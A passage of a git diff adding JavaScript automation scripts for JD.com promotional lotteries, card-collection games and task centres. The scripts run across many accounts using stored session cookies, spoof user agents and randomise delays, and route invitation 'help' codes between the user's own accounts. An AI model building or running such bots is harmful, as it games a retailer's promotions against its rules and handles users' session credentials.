`venderId=${$.venderId}&elementId=${encodeURIComponent( + '邀请')}&pageId=${$.activityId}&pin=${$.Pin}`); + + await $.api('wxCollectCard/drawCard', + `sourceId=${$.shareUuid}&activityId=${$.activityId}&type=1&pinImg=${encodeURIComponent( + $.attrTouXiang)}&pin=${$.Pin}&jdNick=${encodeURIComponent( + $.nickname)}`); + if ($.index > leaders) { + return + } + let saveSource = await $.api('wxCollectCard/saveSource', + `activityId=${$.activityId}&pinImg=${encodeURIComponent( + $.attrTouXiang)}&pin=${ + $.Pin}&jdNick=${encodeURIComponent($.nickname)}`); + if (!saveSource.result || !saveSource.data) { + $.putMsg(`初始化shareuuid失败`); + return + } + $.shareUuid = $.shareUuid || saveSource.data + + for (let i = 0; i < drawCount; i++) { + let prize = await $.api(`wxCollectCard/drawCard`, + `sourceId=${saveSource.data}&activityId=${$.activityId}&type=0`); + $.log(JSON.stringify(prize)) + if (prize.result) { + // $.putMsg(prize.data.reward.cardName); + } else { + if (prize.errorMessage.includes('上限')) { + $.putMsg('上限'); + break; + } else if (prize.errorMessage.includes('来晚了') + || prize.errorMessage.includes('已发完') + || prize.errorMessage.includes('活动已结束')) { + stop = true; + break + } + $.log(`${prize}`); + } + await $.api('crm/pageVisit/insertCrmPageVisit', + `venderId=${$.venderId}&elementId=${encodeURIComponent( + '抽卡')}&pageId=${$.activityId}&pin=${ + $.Pin}`); + await $.wait(1000, 2000) + } + activityContent = await $.api( + 'wxCollectCard/activityContent', + `activityId=${$.activityId}&pin=${ + $.Pin}&uuid=${$.shareUuid}`); + if (!activityContent.result || !activityContent.data) { + $.putMsg(activityContent.errorMessage || '活动可能已结束') + return + } + + if (activityContent.data.canDraw) { + let prize = await $.api(`wxCollectCard/getPrize`, + `activityId=${$.activityId}&pin=${$.Pin}`); + $.log(JSON.stringify(prize)) + if (!prize.result) { + let msg = prize.data.drawOk ? prize.data.name + : prize.data.errorMessage || '空气'; + $.log(msg); + } else { + $.putMsg(`${prize.errorMessage}`); + if (prize.errorMessage.includes('来晚了') + || prize.errorMessage.includes('已发完') + || prize.errorMessage.includes('活动已结束')) { + stop = true; + } + } + } else { + activityContent = await $.api( + 'wxCollectCard/activityContent', + `activityId=${$.activityId}&pin=${ + $.Pin}&uuid=${$.shareUuid}`); + if (!activityContent.result || !activityContent.data) { + $.putMsg(activityContent.errorMessage || '活动可能已结束') + return + } + const has = new Set(); + for (const ele of activityContent.data.cardList) { + all.add(ele.cardName) + ele.count > 0 ? has.add(ele.cardName) : '' + } + $.putMsg(Array.from(has).join(',')) + } +} +$.after = async function () { + if ($.msg.length > 0) { + let message = `\n${$.shopName || ''}\n`; + message += `\n${Array.from(all).join(",")}\n`; + for (let ele of $.content || []) { + if (ele.name.includes('谢谢') || ele.name.includes('再来')) { + continue; + } + message += ` ${ele.name}${ele?.type === 8 ? '专享价' : ''}\n` + } + $.msg.push(message) + $.msg.push($.activityUrl); + } +} +$.run({whitelist: ['1-5'], wait: [1000, 3000]}).catch( + reason => $.log(reason)); diff --git a/jd_wx_luckDraw.js b/jd_wx_luckDraw.js new file mode 100644 index 0000000..2768045 --- /dev/null +++ b/jd_wx_luckDraw.js @@ -0,0 +1,231 @@ +//问题反馈:https://t.me/Wall_E_Channel +/* +7 7 7 7 7 m_jd_wx_luckDraw.js +*/ +let mode = __dirname.includes('magic') +const {Env} = mode ? require('./magic') : require('./magic') +const $ = new Env('M幸运抽奖'); +$.activityUrl = process.env.M_WX_LUCK_DRAW_URL + ? process.env.M_WX_LUCK_DRAW_URL + : ''; +$.notLuckDrawList = process.env.M_WX_NOT_LUCK_DRAW_LIST + ? process.env.M_WX_NOT_LUCK_DRAW_LIST.split('@') + : 'test'.split('@'); +if (mode) { + $.activityUrl = 'https://lzkj-isv.isvjcloud.com/lzclient/1648724528320/cjwx/common/entry.html?activityId=9cf424654f2d4821a229f73043987968&gameType=wxTurnTable&shopid=11743182' +} +$.activityUrl = $.match( + /(https?:\/\/[-A-Za-z0-9+&@#/%?=~_|!:,.;]+[-A-Za-z0-9+&@#/%=~_|])/, + $.activityUrl) +$.domain = $.match(/https?:\/\/([^/]+)/, $.activityUrl) +$.activityId = $.getQueryString($.activityUrl, 'activityId') +let shopInfo = '' +$.logic = async function () { + if (!$.activityId || !$.activityUrl) { + $.expire = true; + $.putMsg(`activityId|activityUrl不存在`, $.activityUrl, $.activityId); + return + } + $.log(`活动id: ${$.activityId}`, `活动url: ${$.activityUrl}`) + $.UA = $.ua(); + + let token = await $.isvObfuscator(); + if (token.code !== '0') { + $.putMsg(`获取Token失败`); + return + } + $.Token = token?.token + if ($.domain.includes("gzsl")) { + let activityContent = await $.api( + `wuxian/user/getLottery/${$.activityId}`, + {'id': $.activityId, 'token': $.Token, 'source': "01"}); + $.log(activityContent) + if (activityContent.status !== '1') { + $.putMsg(`获取活动信息失败`); + return; + } + $.shopName = activityContent.activity.shopName + $.activityType = activityContent.activity.activityType + $.shopId = activityContent.activity.shopId; + $.content = activityContent.activity.prizes + if (activityContent.leftTime === 0) { + $.putMsg("抽奖次数为0") + } + while (activityContent.leftTime-- > 0) { + await $.wait(3000, 5000) + let data = await $.api( + `wuxian/user/draw/${$.activityId}`, + {'id': $.activityId, 'token': $.Token, 'source': "01"}); + if (data.status !== "1") { + if (data.status === "-14") { + $.putMsg("开卡入会后参与活动") + break; + } + if (data.status === "-2") { + $.putMsg("已结束") + $.expire = true; + break; + } + $.putMsg(data.msg) + continue + } + if (data?.winId) { + if (data.data.source === "0") { + activityContent.leftTime++ + } + $.putMsg(data.data.name) + } else { + $.putMsg("空气") + } + } + } else { + let actInfo = await $.api('customer/getSimpleActInfoVo', + `activityId=${$.activityId}`); + if (!actInfo.result || !actInfo.data) { + $.log(`获取活动信息失败`); + return + } + $.venderId = actInfo.data.venderId; + $.shopId = actInfo.data.shopId; + $.activityType = actInfo.data.activityType; + + let myPing = await $.api('customer/getMyPing', + `userId=${$.venderId}&token=${$.Token}&fromType=APP`) + if (!myPing.result) { + $.putMsg(`获取pin失败`); + return + } + $.Pin = $.domain.includes('cjhy') ? encodeURIComponent( + encodeURIComponent(myPing.data.secretPin)) : encodeURIComponent( + myPing.data.secretPin); + + shopInfo = await $.api('wxDrawActivity/shopInfo', + `activityId=${$.activityId}`); + if (!shopInfo.result) { + $.putMsg('获取不到店铺信息,结束运行') + return + } + $.shopName = shopInfo?.data?.shopName + + for (let ele of $.notLuckDrawList) { + if ($.shopName.includes(ele)) { + $.expire = true + $.putMsg('已屏蔽') + return + } + } + await $.api( + `common/${$.domain.includes('cjhy') ? 'accessLog' + : 'accessLogWithAD'}`, + `venderId=${$.venderId}&code=${$.activityType}&pin=${$.Pin}&activityId=${$.activityId}&pageUrl=${encodeURIComponent( + $.activityUrl)}&subType=app&adSource=`); + let activityContent = await $.api( + `${$.activityType === 26 ? 'wxPointDrawActivity' + : 'wxDrawActivity'}/activityContent`, + `activityId=${$.activityId}&pin=${$.Pin}`); + if (!activityContent.result || !activityContent.data) { + $.putMsg(activityContent.errorMessage || '活动可能已结束') + return + } + debugger + $.hasFollow = activityContent.data.hasFollow || '' + $.needFollow = activityContent.data.needFollow || false + $.canDrawTimes = activityContent.data.canDrawTimes || 1 + $.content = activityContent.data.content || [] + $.drawConsume = activityContent.data.drawConsume || 0 + $.canDrawTimes === 0 ? $.canDrawTimes = 1 : '' + debugger + let memberInfo = await $.api($.domain.includes('cjhy') + ? 'mc/new/brandCard/common/shopAndBrand/getOpenCardInfo' + : 'wxCommonInfo/getActMemberInfo', + $.domain.includes('cjhy') + ? `venderId=${$.venderId}&buyerPin=${$.Pin}&activityType=${$.activityType}` + : + `venderId=${$.venderId}&activityId=${$.activityId}&pin=${$.Pin}`); + //没开卡 需要开卡 + if ($.domain.includes('cjhy')) { + //没开卡 需要开卡 + if (memberInfo.result && !memberInfo.data?.openCard + && memberInfo.data?.openCardLink) { + $.putMsg('需要开卡,跳过') + return + } + } else { + if (memberInfo.result && !memberInfo.data?.openCard + && memberInfo.data?.actMemberStatus === 1) { + $.putMsg('需要开卡,跳过') + return + } + } + + if ($.needFollow && !$.hasFollow) { + let followShop = await $.api($.domain.includes('cjhy') + ? 'wxActionCommon/newFollowShop' + : 'wxActionCommon/followShop', + $.domain.includes('cjhy') + ? `venderId=${$.venderId}&activityId=${$.activityId}&buyerPin=${$.Pin}&activityType=${$.activityType}` + : `userId=${$.venderId}&activityId=${$.activityId}&buyerNick=${$.Pin}&activityType=${$.activityType}`); + if (!followShop.result) { + $.putMsg(followShop.errorMessage) + return; + } + await $.wait(1000); + } + for (let m = 1; $.canDrawTimes--; m++) { + let prize = await $.api( + `${$.activityType === 26 ? 'wxPointDrawActivity' + : 'wxDrawActivity'}/start`, + $.domain.includes('cjhy') + ? `activityId=${$.activityId}&pin=${$.Pin}` + : `activityId=${$.activityId}&pin=${$.Pin}`); + if (prize.result) { + $.canDrawTimes = prize.data.canDrawTimes + let msg = prize.data.drawOk ? prize.data.name + : prize.data.errorMessage || '空气'; + $.putMsg(msg) + } else { + if (prize.errorMessage) { + $.putMsg(`${prize.errorMessage}`); + if (prize.errorMessage.includes('来晚了') + || prize.errorMessage.includes('已发完') + || prize.errorMessage.includes('活动已结束')) { + $.expire = true; + } + } + break + } + await $.wait(parseInt(Math.random() * 500 + 1500, 10)); + } + } + await $.unfollow($.shopId) +} +let kv = { + 3: '幸运九宫格', + 4: '转盘抽奖', + 11: '扭蛋抽奖', + 12: '九宫格抽奖', + 13: '转盘抽奖', + 26: '积分抽奖' +} +let kv2 = {'0': '再来一次', '1': '京豆', '2': '券', '3': '实物', '4': '积分'} + +$.after = async function () { + let message = `\n${$.shopName || ''} ${kv[$.activityType] + || $.activityType}\n`; + for (let ele of $.content || []) { + if (ele.name.includes('谢谢') || ele.name.includes('再来')) { + continue; + } + if ($.domain.includes('lzkj') || $.domain.includes('cjhy')) { + message += `\n ${ele.name} ${ele?.type === 8 ? '专享价' : ''}` + } else { + message += ` ${ele.name} ${kv2[ele?.source] + || ele?.source}\n` + } + } + $.msg.push(message) + $.msg.push($.activityUrl); +} +$.run({whitelist: ['1-5'], wait: [3000, 5000]}).catch( + reason => $.log(reason)); + diff --git a/jd_wyw.js b/jd_wyw.js new file mode 100644 index 0000000..21a2f72 --- /dev/null +++ b/jd_wyw.js @@ -0,0 +1,153 @@ +/* + +============Quantumultx=============== +[task_local] +#玩一玩成就 +0 8 * * * jd_wyw.js, tag=玩一玩成就, img-url=https://raw.githubusercontent.com/tsukasa007/icon/master/jd_wyw.png, enabled=true + +================Loon============== +[Script] +cron "0 8 * * *" script-path=jd_wyw.js,tag=玩一玩成就 + +===============Surge================= +玩一玩成就 = type=cron,cronexp="0 8 * * *",wake-system=1,timeout=3600,script-path=jd_wyw.js + +============小火箭========= +玩一玩成就 = type=cron,script-path=jd_wyw.js, cronexpr="0 8 * * *", timeout=3600, enable=true +*/ +const $ = new Env('玩一玩成就'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +$.invitePinTaskList = [] + +message = "" +!(async () => { + $.user_agent = require('./USER_AGENTS').USER_AGENT + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + + + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await getPlayTaskCenter() + for (const playTaskCenterListElement of $.playTaskCenterList) { + $.log(`play ${playTaskCenterListElement.name} 获得成就值: ${playTaskCenterListElement.achieve}`) + await doPlayAction(playTaskCenterListElement.playId) + } + + + + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) +//获取活动信息 + + + +function getPlayTaskCenter() { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"client":"app"}&client=wh5&clientVersion=1.0.0`,`playTaskCenter`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.playTaskCenterList = data.data + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doPlayAction(playId) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"client":"app","playId":"${playId}","type":"1"}&client=wh5&clientVersion=1.0.0`,`playAction`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + debugger + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + + +function taskPostClientActionUrl(body,functionId) { + return { + url: `https://api.m.jd.com/client.action?${functionId?`functionId=${functionId}`:``}`, + body: body, + headers: { + 'User-Agent':$.user_agent, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'api.m.jd.com', + 'Origin':'https://api.m.jd.com', + 'Referer':'https://funearth.m.jd.com/babelDiy/Zeus/3BB1rymVZUo4XmicATEUSDUgHZND/index.html?source=6&lng=113.388032&lat=22.510956&sid=f9dd95649c5d4f0c0d31876c606b6cew&un_area=19_1657_52093_0', + 'Cookie': cookie, + } + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/jd_xgyl_wx.js b/jd_xgyl_wx.js new file mode 100644 index 0000000..c4be511 --- /dev/null +++ b/jd_xgyl_wx.js @@ -0,0 +1,398 @@ +/* +小鸽有礼-京小哥助手(微信小程序) +每天抽奖25豆 +活动入口:微信小程序-京小哥助手 +活动时间:2021年4月16日~2021年5月17日 + +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#小鸽有礼 +3 0,7 * * * jd_xgyl_wx.js, tag=小鸽有礼, enabled=true + +================Loon============== +[Script] +cron "3 0,7 * * *" script-path=jd_xgyl_wx.js, tag=小鸽有礼 + +===============Surge================= +小鸽有礼 = type=cron,cronexp="3 0,7 * * *",wake-system=1,timeout=3600,script-path=jd_xgyl_wx.js + +============小火箭========= +小鸽有礼 = type=cron,script-path=jd_xgyl_wx.js, cronexpr="3 0,7 * * *", timeout=3600, enable=true + */ +const $ = new Env('小鸽有礼'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const activityCode = '1519660363614781440'; +$.helpCodeList = []; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + + await dailyLottery() + } + } + for (let i = 0; i < $.helpCodeList.length && cookiesArr.length > 0; i++) { + if ($.helpCodeList[i].needHelp === 0) { + continue; + } + for (let j = 0; j < cookiesArr.length && $.helpCodeList[i].needHelp !== 0; j++) { + $.helpFlag = ''; + cookie = cookiesArr[j]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + if ($.helpCodeList[i].use === $.UserName) { + continue; + } + console.log(`${$.UserName}助力:${$.helpCodeList[i].helpCpde}`); + await helpFriend($.helpCodeList[i].helpCpde); + if ($.helpFlag === true) { + $.helpCodeList[i].needHelp -= 1; + } + cookiesArr.splice(j, 1); + j--; + } + } + +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function dailyLottery() { + $.lotteryInfo = {}; + $.missionList = []; + await Promise.all([getLotteryInfo(), getQueryMissionList()]); + console.log(`初始化`); + if ($.lotteryInfo.success !== true) { + console.log(`${$.UserName}数据异常,执行失败`); + return; + } + if ($.missionList.length === 0) { + console.log(`${$.UserName}获取任务列表失败`); + } else { + await doMission();//做任务 + await $.wait(1000); + await Promise.all([getLotteryInfo(), getQueryMissionList()]); + // await doMission();//做任务 + // await $.wait(1000); + // await Promise.all([getLotteryInfo(), getQueryMissionList()]); + } + await $.wait(1000); + if ($.missionList.length === 0) { + console.log(`${$.UserName}获取任务列表失败`); + } else { + await collectionTimes();//领任务奖励 + await $.wait(1000); + await Promise.all([getLotteryInfo(), getQueryMissionList()]); + } + let drawNum = $.lotteryInfo.content.drawNum || 0; + console.log(`共有${drawNum}次抽奖机会`); + $.drawNumber = 1; + for (let i = 0; i < drawNum; i++) { + await $.wait(2000); + //执行抽奖 + await lotteryDraw(); + $.drawNumber++; + } +} + +//助力 +async function helpFriend(missionNo) { + const body = `[{"userNo":"$cooMrdGatewayUid$","missionNo":"${missionNo}"}]`; + const myRequest = getPostRequest('luckdraw/helpFriend', body); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + /* + * {"code":1,"content":true,"data":true,"errorMsg":"SUCCESS","msg":"SUCCESS","success":true} + * */ + console.log(`助力结果:${data}`); + data = JSON.parse(data); + if (data.success === true && data.content === true) { + console.log(`助力成功`); + $.helpFlag = true; + } else { + $.helpFlag = false; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//做任务 +async function collectionTimes() { + console.log(`开始领任务奖励`); + for (let i = 0; i < $.missionList.length; i++) { + await $.wait(1000); + if ($.missionList[i].status === 11) { + let getRewardNos = $.missionList[i].getRewardNos; + for (let j = 0; j < getRewardNos.length; j++) { + await collectionOneMission($.missionList[i].title, getRewardNos[j]);//领奖励 + await $.wait(2000); + } + } + } +} + +//做任务 +async function doMission() { + console.log(`开始执行任务`); + for (let i = 0; i < $.missionList.length; i++) { + if ($.missionList[i].status !== 1) { + continue; + } + await $.wait(3000); + if ($.missionList[i].jumpType === 135) { + await doOneMission($.missionList[i]); + } else if ($.missionList[i].jumpType === 1) { + await createInvitation($.missionList[i]); + } + } +} + +//邀请好友来抽奖 +async function createInvitation(missionInfo) { + const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}"}]`; + const myRequest = getPostRequest('luckdraw/createInvitation', body) + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + //{"code": 1,"content": "ML:786c65ea-ca5c-4b3b-8b07-7ca5adaa8deb","data": "ML:786c65ea-ca5c-4b3b-8b07-7ca5adaa8deb","errorMsg": "SUCCESS","msg": "SUCCESS","success": true} + data = JSON.parse(data); + if (data.success === true) { + $.helpCodeList.push({ + 'use': $.UserName, + 'helpCpde': data.data, + 'needHelp': missionInfo['totalNum'] - missionInfo['completeNum'] + }); + console.log(`互助码(内部多账号自己互助):${data.data}`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + 